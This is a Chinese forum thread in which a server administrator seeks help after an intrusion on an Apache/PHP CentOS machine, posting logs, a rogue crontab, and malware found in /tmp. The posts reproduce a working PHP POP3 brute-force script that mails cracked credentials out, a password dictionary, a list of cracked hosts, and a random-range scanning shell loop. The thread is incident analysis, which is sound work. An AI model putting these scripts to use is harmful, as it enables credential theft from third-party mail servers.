大家帮忙看看是否被黑客攻击了

酒逍遥 发布于 2013/02/22 14:41
阅读 1K+
收藏 4

最近公司内网的一台安装了apache 和php的centos 6.2 的服务器总是出现流量异常的情况.

经检查发现 如下一些特征

1、执行 ps -ef 发现 apache  用户执行了这样的命令 ./s  xxx.xxx.xxx.xx 0    (xxx.xxx.xxx.xxx为一个国外的IP)

2、执行iftop 发现服务器链接  xxx.xxx.xxx.xxx 这个IP ,并且占用了大量的带宽

3、执行top  发现 apache 占用了大量的cpu

4、查看apache的 access.log发现如下异常访问日志 (考虑安全问题,隐去了访问者IP)

xx.xx.xx.xx - - [22/Feb/2013:08:21:49 +0800] "\xa9zO\x91\\\xa9\xfa\xdfY" 400 297 "-" "-"

xx.xx.xx.xx - - [22/Feb/2013:09:24:55 +0800] "\xd7\x9f(4:#\x8c1G\x8e\x8f\xb8\x1a\xeek5\xc7\xb1\xb6\xe1\b4\x97\xbb\xe8\xe3\xbb\xa4:\xe0" 400 297 "-" "-"

xx.xx.xx.xx - - [22/Feb/2013:10:41:20 +0800] "\xbd\x1e\"\x95\xb9=\xdb\xca\xcd\xc5\xa6\xa9\xa6gl\xfc\xdb\xbb#\xc3\xaa\xa4|k\x87\x89\xfe7\x12\xebD0^PB\x19SA`rf\x9cM\x0f\xb7\xc2F\x81\xc0\xe4\xec\xeb\xb1a" 400 297 "-" "-"

5、查看apache的error.log 发现如下异常错误

[Thu Feb 21 17:44:28 2013] [error] [client xx.xx.xx.xx] invalid request-URI \xea=i:a\xc8W\x15\xb8\xeaq\xad\xa8\xc5\xb6T
[Thu Feb 21 17:44:28 2013] [error] [client xx.xx.xx.xx] Invalid URI in request J\xc1\x88Dg\x0c\xea=i:a\xc8W\x15\xb8\xeaq\xad\xa8\xc5\xb6T
[Fri Feb 22 08:21:49 2013] [error] [client xx.xx.xx.xx] invalid request-URI 
[Fri Feb 22 08:21:49 2013] [error] [client xx.xx.xx.xx] Invalid URI in request \xa9zO\x91\\\xa9\xfa\xdfY

并在早一些的error.log中发现更加诡异的记录

perl: no process killed
--2013-02-20 16:05:48--  ftp://test:*password*@xxx.xxx.xxx.xxx/ec.z
           => `ec.z'
Connecting to xxx.xxx.xxx.xxx:21... connected.
Logging in as test ... 
Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE ec.z ... 52931
==> PASV ... done.    ==> RETR ec.z ... done.
Length: 52931 (52K)


     0K .......... .......... .......... .......... .......... 96% 51.0K 0s
    50K .                                                     100%  143K=1.0s


2013-02-20 16:05:53 (52.0 KB/s) - `ec.z' saved [52931]


  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed


  2 52931    2  1448    0     0    515      0  0:01:42  0:00:02  0:01:40   515
 82 52931   82 43440    0     0  11689      0  0:00:04  0:00:03  0:00:01 46195
100 52931  100 52931    0     0  12981      0  0:00:04  0:00:04 --:--:-- 40569
sh: fetch: command not found
sh: lynx: command not found

6、最后就是在tmp 目录中发现了一些来历不明的文件 。并发现apache这个用户在执行计划任务

apache crontab SHELL=/bin/sh USER=apache PATH=. PWD=/tmp/.j SHLVL=3 HOME=/xxx/www LOGNAME=apache _=./crontab

tmp目录下的.j 文件夹就是一个来历不明的文件夹.里面的文件看起来是一些shell脚本之类的.

初步分析有黑客利用web漏洞入侵了服务器.

现在求助 

1、如何判断被入侵到什么级别了

2、如何修复

加载中
0
酒逍遥
酒逍遥

继续分析了下 应该是黑客不知道通过什么途径传了 文件到 tmp目录.

然后使用apache的身份执行了 tmp 目录下的 s 这个脚本文件.

分析tmp目录里的文件之后发现是一些扫描ip和尝试的用户名密码的记录

估计是服务器被黑客变成肉鸡 然后去暴力破解别人的密码

0
酒逍遥
酒逍遥

目前最关键还不清楚到底是通过什么方式入侵的.到底是apache的漏洞还是php的漏洞

这种 异常访问的url

xx.xx.xx.xx - - [22/Feb/2013:10:41:20 +0800] "\xbd\x1e\"\x95\xb9=\xdb\xca\xcd\xc5\xa6\xa9\xa6gl\xfc\xdb\xbb#\xc3\xaa\xa4|k\x87\x89\xfe7\x12\xebD0^PB\x19SA`rf\x9cM\x0f\xb7\xc2F\x81\xc0\xe4\xec\xeb\xb1a" 400 297 "-" "-" 
到底有什么含义


0
酒逍遥
酒逍遥

继续查找.. 在 tmp 目下发现一个.smtp 目录.里面有一个php文件 代码如下

<?php
error_reporting(0);
function POPa($username, $password, $server) {
$socket = fsockopen($server, 110); // POP3 port
if (!$socket) {
return "cracked";

}

$res = fgets($socket, 512); // read +OK
if (substr(trim($res), 0, 3) != "+OK") {
return "cracked"; // return the error
}
fputs($socket, "USER $username\r\n"); // send user
$res = fgets($socket, 512); // read +OK
if (substr(trim($res), 0, 3) != "+OK") {
return "cracked";
}
fputs($socket, "PASS $password\r\n"); // send pass
$res = fgets($socket, 512); // read +OK
if (substr(trim($res), 0, 3) != "+OK") {
return $res;
}
fputs($socket, "QUIT\r\n"); // quit

fclose($socket);
$fp = fopen("vuln.as", "a");
$infosmtp=$server.",".$username.",".$password."\n";
fwrite($fp,$infosmtp);
fclose($fp);

system('mail -s "anonymous-smtp"  xxxxx@yahoo.com < vuln.as');
system('rm -rf vuln.as');
fclose($socket);
$fp = fopen("vuln.asl", "a");
$infosmtp=$server.",".$username.",".$password."\n";
fwrite($fp,$infosmtp);
fclose($fp);
return "cracked";
}

//SET INITIAL LOAD
$ip = $argv[1];

//READ USER/PASS FILE
$fp = fopen("pass_file", "r");
$i = 1;
$c2= 1;
while (!feof($fp)) {
$propozitie = fgets($fp, 4096);
$propozitie = explode(":", $propozitie);
$domaine = preg_match('/[^.]+\.[^.]+$/', gethostbyaddr($ip), $matches);
$user[$i] = $propozitie[0]."@".$matches[0];
@$pass[$i] = $propozitie[1];
$i = $i + 1;
$c2 = $c2 + 1;
}
fclose($fp);

//Do BRUTE-FORCE ATACK
$x = 1;
$chestie = "not";

while (( $x < $c2 ) and ( $chestie != "cracked" )) {
$chestie = POPa($user[$x], $pass[$x], $ip);
if ( $chestie == "cracked" ) {
$quit = 1;
}
$x = $x + 1;
}

//SET END LOAD


?>
同时在该目录下找到vuln.asl和pass_file 可惜 vuln.as 已被入侵者删除.

文件内容分别如下

vuln.asl (隐去真实邮箱和真实密码)

195.206.53.110,xxx@irk.ru,password
219.127.208.157,xxx@miyako385.jp,password
211.52.144.132,xxx@futurenuri.com,password
77.245.146.160,xxx@turuncuyesil.com,password
77.245.146.161,xxx@turuncuyesil.com,password
216.249.111.125,xxx@selfstorageoakland.com,password
216.249.111.32,xxx@selfstoragelongbeach.com,password
216.249.111.23,xxx@shoppersregistry.com,password
216.249.111.81,xxx@selfstoragemillbrae.com,password
216.249.111.90,xxx@woodlandselfstorage.com,password
216.249.111.89,xxx@ineedbanking.com,password


pass_file 部分内容 (应该是类似密码字典之类的)

admin:1
admin:12
admin:123
admin:1234
admin:12345
admin:123456
admin:1234567
admin:admin
admin:password
admin:admin123
admin:admins
admin:sales
support:support
support:support123
support:support1
support:password
info:info
info:info123
info:password
info:123456
test:1
test:12
test:123
test:1234
test:12345
test:123456
test:test
test:testest
test:qwerty
test:password
test:testing
mike:mike
sales:sales
sales:sales123
sales:password
accountin:accountin
root:root
root:admin
root:rootroot
root:123
root:12345
root:123456
root:1234567
root:qwerty
root:administrator
root:password
blue:blue
orders:orders
postmaster:postmaster
postmaster:password
postmaster:sales
postmaster:postmaster123
postmaster:postmasterpostmaster
sunny:sunny
office:office
brian:brian
global:global
jhon:jhon
jhon:123456
jhon:password
shop:shop
web:web
service:service
danny:danny
guest:guest
guest:123
guest:1234
guest:12345
guest:123456
guest:password
guest:guest123
backup:backup
backup:backup123
newsletter:newsletter
newsletter:newsletter123

0
酒逍遥
酒逍遥

.smtp 目录下发现一脚本文件

#!/bin/sh
echo "[+] Anonymous Random Scanner [+]"
while [ "1" ];do
class="4
8
2
6
12
18
24
38
44
45
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
128
129
130
131
132
137
138
139
140
141
145
156
168
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230"


classb="`seq 0 255`"
classb2=($classb)
num_classb=${#classb2[*]}
b=${classb2[$((RANDOM%num_classb))]}


classes=($class)
num_class=${#classes[*]}
a=${classes[$((RANDOM%num_class))]}
rm -rf ip.log
./ps $a.$b 25
sleep 5


cat $a.$b.pscan.25 | sort | uniq > ip.log
CONTOR=0
for i in `cat ip.log`
do
CONTOR=`ps aux | grep -c php`


while [ $CONTOR -ge 150 ];do
CONTOR=`ps aux | grep -c php`
echo "Sleeping"
sleep 5
done


if [ $CONTOR -le 150 ]; then
php sesion.php $i > /dev/null &
fi


done
rm -rf $a.$b.pscan.25


done

同时发现了一些扫描的ip地址段记录 就不一一贴了




0
归海一刀
归海一刀
这帖子值得看看。
0
leo108
leo108
先查/var/log/secure,看看黑客第一次登录的时间,然后在这个时间点往前查apache的accesslog,看看是是不是通过php程序的漏洞入侵的。
0
酒逍遥
酒逍遥

引用来自“leo108”的答案

先查/var/log/secure,看看黑客第一次登录的时间,然后在这个时间点往前查apache的accesslog,看看是是不是通过php程序的漏洞入侵的。

没有发现有登陆记录.

忘记说明了 : 服务器是放在公司内部网络上的.对外只映射了 80 和 21端口

0
南湖船老大
南湖船老大

PHP特别容易被拿来写木马,也很容易被入侵。你确实中木马了。

大概看了下,应该是尝试密码,如果猜到了就发送到指定的邮箱。

0
南湖船老大
南湖船老大

PHP的垃圾代码太多了,解决办法就是看了装了什么PHP代码,比如说什么dedeCMS这类垃圾代码,是入侵者最喜欢的。什么ecshop啊,shopex,xxxcms啊更是到处是漏洞,隔几天就被人发现了。


返回顶部
顶部